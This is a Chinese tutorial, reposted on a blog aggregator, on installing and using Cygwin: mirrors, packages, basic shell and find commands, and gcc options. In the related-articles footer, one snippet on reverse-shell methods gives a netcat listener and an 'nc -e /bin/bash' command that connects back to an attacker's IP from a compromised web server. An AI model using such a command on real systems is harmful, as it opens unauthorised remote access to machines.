Cygwin一个在 Windows 操作系统上提供类似于Unix、Linux 环境的兼容层项目

一、简介

Cygwin 是一个在 Windows 操作系统上提供类似于 Unix/Linux 环境的兼容层的开源项目。它为 Windows 用户提供了一种在 Windows 平台上运行类 Unix 程序的方式。
Cygwin 提供了一组工具和库,包括一个动态链接库(cygwin1.dll)和一个用于安装和管理软件包的包管理器。通过安装 Cygwin,用户可以在 Windows 上使用许多常见的开源软件,如 Bash shell、GCC 编译器、Emacs 文本编辑器等。
Cygwin 通过将 Windows API 转换为类 Unix API 的方式实现了对 Unix/Linux 兼容性的支持。这意味着用户可以在 Cygwin 环境中运行许多原本为 Unix/Linux 设计的程序,而无需进行大量的修改。
Cygwin 提供了一个终端仿真器,可以在其中运行命令行程序。用户可以通过命令行界面使用 Cygwin 提供的工具和命令,也可以编写和运行自己的脚本。
总之,Cygwin 提供了一种在 Windows 上获得类 Unix/Linux 环境的方式,使用户能够在 Windows 平台上使用许多常见的开源工具和软件。
官网:https://www.cygwin.com/
Cygwin的优点:

  1. 广泛的软件包支持:Cygwin提供了广泛的软件包支持,几乎可以找到大部分常见的开发工具和库。
  2. 更好的Windows集成性:Cygwin提供了更好的Windows集成性,可以直接访问Windows文件系统和系统资源。
  3. 更高的兼容性:Cygwin提供了更高的兼容性,可以运行更多的Unix/Linux软件。
    Cygwin的缺点:
  4. 安装和配置复杂:Cygwin的安装和配置相对复杂,需要选择和安装大量的软件包。
  5. 较大的系统开销:Cygwin需要较多的系统资源,并且在运行时可能会有一定的性能开销。
二、安装
  1. 访问官网下载安装包:https://www.cygwin.com/,下载后双击.exe文件,开始安装
    在这里插入图片描述
  2. 选择安装方式
    在这里插入图片描述
  3. 选择安装目录
    在这里插入图片描述
  4. 选择软件包保存位置
    在这里插入图片描述
  5. 选择连接的方式
    在这里插入图片描述
  6. 选择下载站点,不同的镜像存放了不同的包,为了获得最快的下载速度,阿里云镜像:http://mirrors.aliyun.com/cygwin/,网易开源镜像:http://mirrors.163.com/cygwin/ 。
    在这里插入图片描述
  7. 选择需要下载安装的组件包:binutil、gcc-core、gcc-g++、gdb、make、cmake、mingw63-i686-gcc-core、mingw63-i686-gcc-g++、libgccpp1、procps-ng、tcl、pkg-config
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
  8. 点击下一步,等待安装完成
    在这里插入图片描述
    在这里插入图片描述
  9. 安装完成,创建开始菜单
    在这里插入图片描述
  10. 运行桌面程序,输入一下命令,验证是否安装成功
    cygcheck -c cygwin
    gcc --version
    g++ --version
    gdb --version
    make --version
    
三、Cygwin命令
  1. cygcheck -c 是检查所有安装的软件的版本号
  2. cygcheck -c cygwin 就是当前Cygwin的版本号。
  3. gcc --version 查看gcc版本
  4. gdb -version 查看gdb版本
  5. g++ --version 查看g++ 版本
  6. pwd 显示当前的路径
  7. cygpath -dm “pwd” 显示当前的完整路径(即windows格式的路径)
  8. cd 改变当前路径,无参数时进入对应用户的home目录
  9. ls 列出当前目录下的文件。此命令有N多参数,比如ls -al
  10. ps 列出当前系统进程
  11. kill 杀死某个进程
  12. mkdir 建立目录
  13. rmdir 删除目录
  14. rm 删除文件
  15. mv 文件改名或目录改名
  16. man 联机帮助
  17. less 显示文件的最末几行
  18. ls 以默认方式显示当前目录文件列表
  19. ls –a 显示所有文件包括隐藏文件
  20. ls –l 显示文件属性,包括大小,日期,符号连接,是否可读写及是否可执行
  21. ls –color=never *.so > obj 不显示文字颜色,将所有so文件记录到obj文件中
  22. cd dir 切换到当前目录下的dir目录
  23. cd … 切换到到上一级目录
  24. cd …/… 切换到上二级目录
  25. cd ~ 切换到用户目录,比如是root用户,则切换到/root下
  26. rm file 删除某一个文件
  27. rm -fr dir 删除当前目录下叫dir的整个目录
  28. cp source target 将文件source 复制为 target
  29. cp /root/source . 将/root下的文件source复制到当前目录
  30. cp –av soure_dir target_dir 将整个目录复制,两目录完全一样
  31. cp –fr source_dir target_dir 将整个目录复制,并且是以非链接方式复制,当source目录带有符号链接时,两个目录不相同
  32. kill 杀死某个进程
  33. mkdir 建立目录
  34. rmdir 删除目录
四、Cygwin之find命令说明
  1. find命令形式:find pathname -options [-print -exec -ok …]
    '''find命令的参数'''
    pathname: find命令所查找的目录路径。例如用.来表示当前目录,用/来表示系统根目录。
    -print:find命令将匹配的文件输出到标准输出。
    -exec:find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为'command' {  } ";,注意{   }和";之间的空格。
    -ok:和-exec的作用相同,只不过以一种更为安全的模式来执行该参数所给出的shell命令,在执行每一个命令之前,都会给出提示,让用户来确定是否执行。
    '''find命令选项'''
    -name:按照文件名查找文件。
    -perm:按照文件权限来查找文件。
    -prune:使用这一选项可以使find命令不在当前指定的目录中查找,如果同时使用-depth选项,那么-prune将被find命令忽略。
    -user:按照文件属主来查找文件。
    -group:按照文件所属的组来查找文件。
    -mtime -n +n:按照文件的更改时间来查找文件, - n表示文件更改时间距现在n天以内,+ n表示文件更改时间距现在n天以前。find命令还有-atime和-ctime 选项,但它们都和-m time选项。
    -nogroup:查找无有效所属组的文件,即该文件所属的组在/etc/groups中不存在。
    -nouser:查找无有效属主的文件,即该文件的属主在/etc/passwd中不存在。
    -newer file1 ! file2:查找更改时间比文件file1新但比文件file2旧的文件。
    -size n:[c]:查找文件长度为n块的文件,带有c时表示文件长度以字节计。
    -depth:在查找文件时,首先查找当前目录中的文件,然后再在其子目录中查找。
    -fstype:查找位于某一类型文件系统中的文件,这些文件系统类型通常可以在配置文件/etc/fstab中找到,该配置文件中包含了本系统中有关文件系统的信息。
    -mount:在查找文件时不跨越文件系统mount点。
    -follow:如果find命令遇到符号链接文件,就跟踪至链接所指向的文件。
    -cpio:对匹配的文件使用cpio命令,将这些文件备份到磁带设备中。
    -amin n:查找系统中最后N分钟访问的文件
    -atime n:查找系统中最后n*24小时访问的文件
    -cmin n:查找系统中最后N分钟被改变文件状态的文件
    -ctime n:查找系统中最后n*24小时被改变文件状态的文件
    -mmin n:查找系统中最后N分钟被改变文件数据的文件
    
五、gcc命令

gcc 是 GNU Compiler Collection(GNU 编译器集合)的缩写,是一个常用的开源编译器。它支持多种编程语言,包括 C、C++、Objective-C、Fortran、Ada 等。gcc 命令用于将源代码文件编译成可执行文件或目标文件。它可以处理多个源文件,并根据文件的扩展名自动选择适当的编译器进行编译,版本不同命令可能有所区别,可查看官网:
1.编译选项

  • -c:只编译源文件,生成目标文件而不进行链接。
  • -o :指定输出文件名。
  • -I :添加头文件搜索路径。
  • -D:定义宏。
  • -S:生成汇编代码文件
  • -Wall:显示所有警告信息。
  • -Werror:将警告视为错误。
  • -std=:指定所使用的 C 或 C++ 标准。
    gcc file.c            // 编译 C 源文件为可执行文件,默认输出为 a.out
    gcc file.c -o output  // 指定输出文件名为 output
    gcc file.cpp          // 编译 C++ 源文件为可执行文件,默认输出为 a.out
    gcc -c file.c         // 编译源文件为目标文件,不进行链接
    gcc -S file.c         // 生成汇编代码文件
    gcc file1.o file2.o   // 将目标文件链接为可执行文件,默认输出为 a.out
    gcc file1.o file2.o -o output  // 指定输出文件名为 output
    
  1. 预处理选项
  • -E:只进行预处理,生成预处理后的源代码。
  • -D:定义宏。
  • -I :添加头文件搜索路径。
    gcc -E file.c         // 只进行预处理,生成预处理后的源文件
    
  1. 链接选项
  • -l:链接使用的库。
  • -L :添加库文件搜索路径。
  • -static:静态链接所有库。
    gcc -l library        // 链接指定的库文件
    gcc -L path           // 指定库文件搜索路径
    
  1. 调试选项
  • -g:生成调试信息。
  • -O0:禁用优化。
  • -ggdb:生成 GDB 调试信息。
    gcc -g file.c         // 生成可供调试的可执行文件
    
  1. 优化选项
  • -O1, -O2, -O3:不同级别的优化。
  • -Os:针对代码大小进行优化。
  • -Ofast:启用所有的优化选项,包括非标准的优化。
    gcc -O2 file.c        // 使用优化级别 2 进行编译
    
  1. 其他选项
  • -Wl,:将 传递给链接器。
  • -M:生成目标文件和依赖关系的规则。
  • -pthread:链接 POSIX 线程库。
    gcc -Wall             // 开启所有警告信息
    gcc -std=c99          // 指定 C 语言标准为 C99
    gcc -std=c++11        // 指定 C++ 语言标准为 C++11
    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/160639.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Stable Diffusion 的提示词使用技巧

推荐Stable Diffusion自动纹理工具: DreamTexture.js自动纹理化开发包 什么是提示语? 提示语是人工智能中的一个重要组成部分,尤其是自然语言处理 (NLP)。在AI自人工智能中,想要获得好的效果,简…

SpringBoot开发组件总结

大家好,今天学习了SpringBoot中间件开发,在学习后总结记录下。 在开发的过程中,把一些公共的非业务的代码提炼出来,做成一个公用的组件,减少开发成本和风险,今天学习的是一个白名单控制组件,记…

医疗数据可视化大屏:重构医疗决策的未来

医疗行业一直是信息密集型领域之一,它的复杂性不仅在于患者病历和医疗数据的海量积累,还包括了病情诊断、医疗资源分配、病患治疗等多层次的挑战。随着信息技术的不断发展,医疗数据可视化大屏成为了一种创新性的工具,它为医疗管理…

反shell方法

反shell方法 shell 开启回显 python -c “import pty;pty.spawn(‘/bin/bash’)” 方法一 利用nc完成反shell 适用webshell 适用于对方网页有webshell kali先开启nc端口监听 nc -lvvp 监听端口 让对方电脑里的nc一启动就自动连接 /bin/nc -e /bin/bash 自己ip 监听的端口号…

Unity3D与iOS的交互 简单版开箱即用

本文适合的情况如下: Unity客户端人员 与 IOS端研发人员合作的情况 目录 From U3D to iOS 实现原理 1.unity工程目录创建2个文件 NativeCallProxy.m、NativeCallProxy.h 并且放到Unity工程目录Plugins/iOS/unity_ios_plus目录下 2.创建C#调用脚本 定义对应.mm脚…

JAVA-软开-常见八股文(2)-数据库相关

1 Drop Delete Truncate三者之间的区别和联系 drop删除整张表,包括表结构和表数据。用法 drop table 表名 truncate表示清空数据,不会删除表结构。truncate table 表名 delete表示删除数据,不会删除表结构。delete from 表名 where 列名 值…

2023最新版本 FreeRTOS教程 -5-切断驱动和应用的直接关联与多输入的编码思路

在多输入的场景方便添加新的设备如图 总体的思路框图 函数讲解(图片太抽象通过这个函数理解) 写入自己的队列 统一数据(建议读取自己的队列 再统一到应用的队列 这里图方便省略了) 通过统一的数据做出执行操作 验证 队列为空直接阻塞 通过三个按…

@Tag和@Operation标签失效问题。SpringDoc 2.2.0(OpenApi 3)和Spring Boot 3.1.1集成

问题 Tag和Operation标签失效 但是Schema标签有效 pom依赖 <!-- 接口文档--><!--引入openapi支持--><dependency><groupId>org.springdoc</groupId><artifactId>springdoc-openapi-starter-webmvc-ui</artifactId><vers…

MySQL - Zero date value prohibited

问题: timestamp字段报Caused by: com.mysql.cj.exceptions.DataReadException: Zero date value prohibited 原因: timestamp字段存入了0值, 超出了最小值1900-01-01 00:00:00, 转Java对象的时候报错 解决: 1.修复或删除原数据 2. mysqlurl 中添加zeroDateTimeBehaviorconve…

【漏洞复现】Drupal XSS漏洞复现

感谢互联网提供分享知识与智慧&#xff0c;在法治的社会里&#xff0c;请遵守有关法律法规 复现环境&#xff1a;Vulhub 环境启动后&#xff0c;访问 http://192.168.80.141:8080/ 将会看到drupal的安装页面&#xff0c;一路默认配置下一步安装。因为没有mysql环境&#xff0c;…

Linux ----------------------- 文本处理工具

&#xff08;一&#xff09;绪论 awk、grep、sed和cut 是Linux 操作文本的四大利器&#xff0c;合称文本四大金刚&#xff0c;也是必须掌握的Linux 命令之一。这四个工具的功能各有侧重&#xff1a; awk&#xff1a;功能最强大&#xff0c;用于处理和格式化文本&#xff0c;可…

万宾科技管网水位监测助力智慧城市的排水系统

以往如果要了解城市地下排水管网的水位变化&#xff0c;需要依靠人工巡检或者排查的方式&#xff0c;这不仅加大了人员的工作量&#xff0c;而且也为市政府带来了更多的工作难题。比如人员监管监测不到位或无法远程监控等情况&#xff0c;都会降低市政府对排水管网的管理能力&a…